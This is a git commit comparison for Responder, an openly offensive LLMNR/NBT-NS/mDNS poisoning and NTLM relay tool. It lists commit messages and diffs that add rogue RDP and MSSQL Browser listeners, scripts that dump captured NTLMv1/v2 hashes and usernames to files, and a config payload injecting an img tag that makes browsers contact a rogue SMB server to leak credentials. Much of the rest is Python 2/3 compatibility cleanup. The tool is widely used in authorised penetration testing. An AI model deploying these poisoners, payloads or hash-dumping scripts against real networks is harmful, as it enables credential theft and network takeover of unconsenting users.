Compare commits

...

69 Commits

Author SHA1 Message Date
lgandx
b510b2bb25 Added py3 and py2 compatibility + many bugfix 2020-01-09 14:47:56 -03:00
lgandx
c52843a535 Added RDP rogue server 2019-08-17 16:31:34 -03:00
lgandx
88e316c9a3 Merge pull request #91 from cnotin/patch-1
FindSMB2UPTime: properly deal with servers not disclosing their boot time
2019-05-26 11:05:49 -03:00
lgandx
e1d1657dff Merge pull request #92 from Crypt0-M3lon/master
Fix socket timeout on HTTP POST requests
2019-05-26 11:04:48 -03:00
Crypt0-M3lon
32be7a1853 Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1
Fix socket timeout on HTTP POST requests
2019-02-08 09:08:49 +01:00
Crypt0-M3lon
e7a787cbc4 Fix socket timeout on HTTP POST requests
Remaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0.
We want to check for Content-Length header only if we received full header.
2019-02-08 09:08:24 +01:00
Clément Notin
80aa964294 FindSMB2UPTime: properly deal with servers not disclosing their boot time 2019-02-04 11:46:08 +01:00
lgandx
7339411766 Enhanced flags2 to force SMB signature off 2019-01-15 16:18:47 -03:00
lgandx
9656f140e7 Merge pull request #89 from cnotin/patch-1
Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
2019-01-13 11:21:24 -03:00
Clément Notin
c99c9edf19 Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 2019-01-09 19:16:52 +01:00
lgandx
38e721da98 fixed minor bugfix on recent merge 2018-11-28 21:07:39 -03:00
lgandx
fab7ba9e6e Merge pull request #88 from PaulSec/master
Added proper changes to RunFinger
2018-11-28 20:40:51 -03:00
Paul A
105502edd4 Added proper changes to RunFinger (and is not checking for MS17-010 straight away) 2018-11-18 12:41:15 +01:00
lgandx
be551a0db3 Merge pull request #85 from mdeous/multirelay-exclude-user
[MultiRelay] allow to blacklist users
2018-11-11 09:51:04 -03:00
lgandx
4b5da9d7ce Merge pull request #86 from mschader/patch-1
Update README.md: Fix typo
2018-11-11 09:49:23 -03:00
lgandx
47e63ae4ec removed debug string 2018-11-11 09:46:15 -03:00
Markus
2287f936fd Update README.md: Fix typo
Fixed just a tiny typo.
2018-10-22 15:54:06 +02:00
MatToufoutu
4e70e95a8e allow to blacklist users 2018-09-14 00:19:17 +02:00
lgandx
a256355468 Merge pull request #46 from jackassplus/patch-1
Create OSX_launcher.sh
2018-08-24 15:16:00 -03:00
lgandx
dd39ee0c3d Merge pull request #69 from EuanKerr/patch-1
Update RunFinger.py
2018-08-24 15:14:29 -03:00
lgandx
861c797eb5 Merge pull request #80 from myst404/master
Better handling of cleartext credentials
2018-08-24 15:13:39 -03:00
lgandx
6916b085ec Merge pull request #83 from cnotin/patch-2
Fix multi HTTP responses
2018-08-24 14:34:53 -03:00
lgandx
6037d98160 Merge pull request #82 from cnotin/patch-1
Fix version number in settings.py
2018-08-24 14:34:15 -03:00
Clément Notin
defabfa543 Fix multi HTTP responses 2018-08-17 15:45:13 +02:00
Clément Notin
621c5a3c12 Fix version number in settings.py 2018-08-17 11:51:18 +02:00
myst404
750a2466d9 Better handling of cleartext credentials 2018-06-18 10:59:52 +02:00
lgandx
242bc37997 Merge pull request #71 from myst404/master
FindSMB2UPTime.py : Subnet support, error handling, minor improvements
2018-05-28 20:02:44 -03:00
lgandx
fe53785eec Merge pull request #72 from chrismaddalena/master
Fixed some small typos in MS17-010 output
2018-05-28 20:01:44 -03:00
Chris Maddalena
daaf6f7296 Fixed some small typos in MS17-010 output 2017-12-05 17:31:27 -05:00
myst404
97aeac26d8 Subnet support, error handling, minor improvements 2017-11-30 16:05:14 +01:00
Euan
064f7e62c7 Update RunFinger.py 2017-11-20 12:38:54 +00:00
lgandx
c6bc263b5e Merge pull request #51 from watersalesman/master
Fixed instances of "CRTL-C" to "CTRL-C"
2017-11-20 07:35:33 -03:00
lgandx
46cd888d15 Merge pull request #63 from myst404/master
Fixed space typo in FindSMB2UPTime.py
2017-11-20 07:32:49 -03:00
lgandx
a5a328b8c9 Merge pull request #67 from lprat/master
Add ignore case on check body for html inject
2017-11-20 07:31:52 -03:00
lgandx
b37f56264a Added: check for null sessions and MS17-010 2017-11-19 22:58:28 -03:00
Lionel PRAT
47c311553e Add ignore case on check body for html inject 2017-11-16 16:31:18 +01:00
lgandx
207b0d455c added support for plain auth 2017-09-06 02:07:41 -03:00
lgandx
679cf65cff Changed the complete LDAP parsing hash algo (ntlmv2 bug). 2017-09-04 23:15:27 -03:00
lgandx
be26b504b5 Fixed various bugs and improved the LDAP module. 2017-09-04 21:57:51 -03:00
lgandx
75aa21bbb9 Several Bugfix 2017-09-04 18:50:04 -03:00
myst404
11c00969c3 Fixed space typo in FindSMB2UPTime.py 2017-08-28 18:37:34 +02:00
lgandx
ffca0e2a92 Merge pull request #61 from OJ/fix-ldap-hash-parsing
Pass Challenge value to the LDAP parsing function
2017-08-24 22:00:10 -03:00
OJ
33bde41902 Pass Challenge value to the LDAP parsing function 2017-08-25 09:03:01 +10:00
lgandx
95c0d6e673 Merge pull request #58 from megabug/mssql-browser
Add Microsoft SQL Server Browser responder
2017-07-15 13:23:08 -03:00
lgandx
0436b47a2c Merge pull request #59 from breakersall/patch-2
Add in check for uptime since March 14th 2017, which could indicate t…
2017-07-15 13:19:53 -03:00
Matt Kelly
5859c31e8e Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010
Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 (EternalBlue/dismay style exploit)
2017-06-28 14:09:05 -05:00
Matthew Daley
bc90f8fe27 Update README.md with new SQL Browser port usage 2017-06-28 19:15:07 +12:00
Matthew Daley
bff935e71e Add Microsoft SQL Server Browser responder
When connecting to a named instance, a SQL client (at least SQL Server
Native Client) will send a request (namely a CLNT_UCAST_INST message) to
the server's SQL Server Browser service for instance connection
information. If it gets no response, the connection attempt fails.

By adding a SQL Server Browser responder for these requests, we ensure
that connections are successfully made to the SQL Server responder for
hash capture.

As per the comment, this is based on the document "[MC-SQLR]: SQL Server
Resolution Protocol", currently available at
<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
2017-06-28 19:14:38 +12:00
Randy Ramos
44a4e495cc Fixed instances of "CRTL-C" to "CTRL-C" 2017-04-22 14:40:19 -04:00
lgandx
38219e249e added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz 2017-03-30 23:39:41 -03:00
lgandx
2223ef6689 updated readme 2017-03-29 14:24:17 -03:00
lgandx
2a80c7ed9c MultiRelay 2.0 Release 2017-03-29 13:28:31 -03:00
jackassplus
54389c4851 Create OSX_launcher.sh
Launcher helper for OSX. 

Checks for running LaunchDaemons using one of responder's ports and unloads them one by one, placing them on a stack to be restarted when responder is killed.
2017-03-27 08:10:33 -07:00
lgandx
b05bdcab96 Removed Paypal donation link. 2017-03-15 19:15:46 -03:00
lgandx
6f3cc4564c Fixed bug in FindSMB2UPTime 2017-03-08 00:01:38 +01:00
lgandx
2b322b227e minor fix 2017-02-18 20:57:36 +01:00
lgandx
9440cb3e30 Merge branch 'master' of https://github.com/lgandx/Responder 2017-02-18 20:40:01 +01:00
lgandx
21d48be98f Added: Hashdump, Stats report 2017-02-18 20:38:40 +01:00
lgandx
c9609bd8c6 Merge pull request #25 from joshuaskorich/master
added `ip` commands in addition to ifconfig and netstat
2017-02-10 22:03:46 +01:00
lgandx
0642999741 fixed crash: typo. 2017-02-10 18:18:23 +01:00
lgandx
5f59f2934e Merge pull request #33 from skelsec/master
Fixing HTTP header issue
2017-02-09 22:40:28 +01:00
skelsec
225857b6ed cleaning up comments 2017-02-06 10:48:23 -08:00
skelsec
2c32704b85 SimpleSSL 2017-02-06 09:42:35 -08:00
skelsec
0e3e6f9745 making HTTP great again 2017-02-06 09:21:44 -08:00
lgandx
0ede767d95 Merge pull request #32 from Gifts/fix_randchallenge
Fix for RandomChallenge function.
2017-02-01 22:32:13 +01:00
Gifts
de6e869a79 Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string 2017-02-01 16:55:15 +03:00
lgandx
cf654ee178 Merge pull request #28 from kithack/master
Fix Proxy_Auth. Random challenge broke it.
2017-01-19 22:31:52 +01:00
Timon Hackenjos
5a2ee18bfa Fix Proxy_Auth. Random challenge broke it. 2017-01-19 17:46:21 +01:00
thejosko
db61f243c9 added ip commands in addition to ifconfig and netstat 2017-01-11 17:35:08 -06:00
63 changed files with 5341 additions and 2330 deletions

49
DumpHash.py Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print("Dumping NTLMV2 hashes:")
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print(v2)
print("\nDumping NTLMv1 hashes:")
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print(v1)

39
OSX_launcher.sh Normal file
View File

@@ -0,0 +1,39 @@
# responder launcher
# set -x
# Usage:
# ./responderd /path/to/responder interface responder_options
# port list
# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
SVC_LIST=()
# check for running processes and kill them one by one
# looping over everything rather than doing a mass kill because some processes may be
# children and may not need to be killed
for port in ${PORT_LIST[@]}; do
PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
# load/unload are listed as "legacy" in 10.10+ may need to change this someday
echo "Stopping $PROC"
sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
# append killed service to new array
SVC_LIST+=($AGENT)
fi
done
# get IP address
IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
# Launch responder
python $1 $3 -i $IP
# restore stopped services
for agent in ${SVC_LIST[@]}; do
echo "Starting $agent"
sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
done

View File

@@ -1,6 +1,6 @@
# Responder.py # # Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -80,7 +80,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log - Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log - Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log - Poisoning will be logged to Poisoners-Session.log
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ## ## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -168,9 +168,22 @@ You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
Or via Paypal:
[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A) ## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
- SecureWorks : https://www.secureworks.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Copyright ## ## Copyright ##

95
Report.py Executable file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print(color("[+] Generating report...", code = 3, modifier = 1))
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View File

@@ -3,6 +3,7 @@
; Servers to start ; Servers to start
SQL = On SQL = On
SMB = On SMB = On
RDP = On
Kerberos = On Kerberos = On
FTP = On FTP = On
POP = On POP = On
@@ -39,11 +40,11 @@ RespondTo =
; Specific NBT-NS/LLMNR names to respond to (default = All) ; Specific NBT-NS/LLMNR names to respond to (default = All)
; Example: RespondTo = WPAD, DEV, PROD, SQLINT ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName = RespondToName =
; Specific IP Addresses not to respond to (default = None) ; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo = DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS ; Example: DontRespondTo = NAC, IPS, IDS
@@ -90,7 +91,7 @@ WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || sh
; HTML answer to inject in HTTP responses (before </body> tag). ; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable. ; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'> HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
[HTTPS Server] [HTTPS Server]

View File

@@ -16,8 +16,10 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import optparse import optparse
import ssl import ssl
try:
from SocketServer import TCPServer, UDPServer, ThreadingMixIn from SocketServer import TCPServer, UDPServer, ThreadingMixIn
except:
from socketserver import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread from threading import Thread
from utils import * from utils import *
import struct import struct
@@ -45,10 +47,10 @@ parser.add_option('-v','--verbose', action="store_true", help="Increase v
options, args = parser.parse_args() options, args = parser.parse_args()
if not os.geteuid() == 0: if not os.geteuid() == 0:
print color("[!] Responder must be run as root.") print(color("[!] Responder must be run as root."))
sys.exit(-1) sys.exit(-1)
elif options.OURIP is None and IsOsX() is True: elif options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@@ -60,17 +62,24 @@ StartupMessage()
settings.Config.ExpandIPRanges() settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@@ -78,11 +87,15 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
@@ -90,13 +103,17 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self) TCPServer.server_bind(self)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
@@ -110,11 +127,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@@ -128,12 +149,16 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
pass raise
#pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
@@ -147,7 +172,7 @@ def serve_thread_udp_broadcast(host, port, handler):
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler): def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler) serve_thread_udp_broadcast(host, port, handler)
@@ -157,15 +182,15 @@ def serve_MDNS_poisoner(host, port, handler):
server = ThreadingUDPMDNSServer((host, port), handler) server = ThreadingUDPMDNSServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
try: try:
server = ThreadingUDPLLMNRServer((host, port), handler) server = ThreadingUDPLLMNRServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
raise raise
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
@@ -176,7 +201,7 @@ def serve_thread_udp(host, port, handler):
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
@@ -187,7 +212,7 @@ def serve_thread_tcp(host, port, handler):
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_tcp_auth(host, port, handler): def serve_thread_tcp_auth(host, port, handler):
try: try:
@@ -198,7 +223,7 @@ def serve_thread_tcp_auth(host, port, handler):
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_SSL(host, port, handler): def serve_thread_SSL(host, port, handler):
try: try:
@@ -215,7 +240,7 @@ def serve_thread_SSL(host, port, handler):
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main(): def main():
try: try:
@@ -238,8 +263,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off: if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,))) threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.RDP_On_Off:
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,)))
if settings.Config.WPAD_On_Off: if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy from servers.HTTP_Proxy import HTTP_Proxy
@@ -265,8 +294,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off: if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off: if settings.Config.FTP_On_Off:
from servers.FTP import FTP from servers.FTP import FTP
@@ -298,7 +328,7 @@ def main():
thread.setDaemon(True) thread.setDaemon(True)
thread.start() thread.start()
print color('[+]', 2, 1) + " Listening for events..." print(color('[+]', 2, 1) + " Listening for events...")
while True: while True:
time.sleep(1) time.sleep(1)

0
certs/gen-self-signed-cert.sh Executable file → Normal file
View File

View File

@@ -1,18 +1,18 @@
-----BEGIN CERTIFICATE----- -----BEGIN CERTIFICATE-----
